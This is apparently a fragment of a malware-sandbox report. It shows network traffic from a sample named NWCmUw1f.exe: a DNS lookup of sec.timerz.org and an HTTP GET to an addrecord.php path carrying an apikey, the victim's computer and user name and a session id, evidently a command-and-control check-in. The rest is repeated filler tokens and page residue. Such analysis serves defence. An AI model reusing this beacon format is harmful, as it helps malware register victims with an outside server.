smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb, smb
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        9.1MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         148.2MB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         107276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        112278
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 199.59.242.150:80
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=5Wv1yNiiVwbk78Vb&phase=[DIR]25C4A437491223AD
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        http
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        NWCmUw1f.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        510 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         4.7kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        GET http://sec.timerz.org/addrecord.php?apikey=bg85_api_key&compuser=GOHCSFBB|Admin&sid=5Wv1yNiiVwbk78Vb&phase=[DIR]25C4A437491223AD

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        HTTP Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        200
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sec.timerz.org
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        60 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         76 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        sec.timerz.org

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        199.59.242.150

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      We care about your privacy.

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.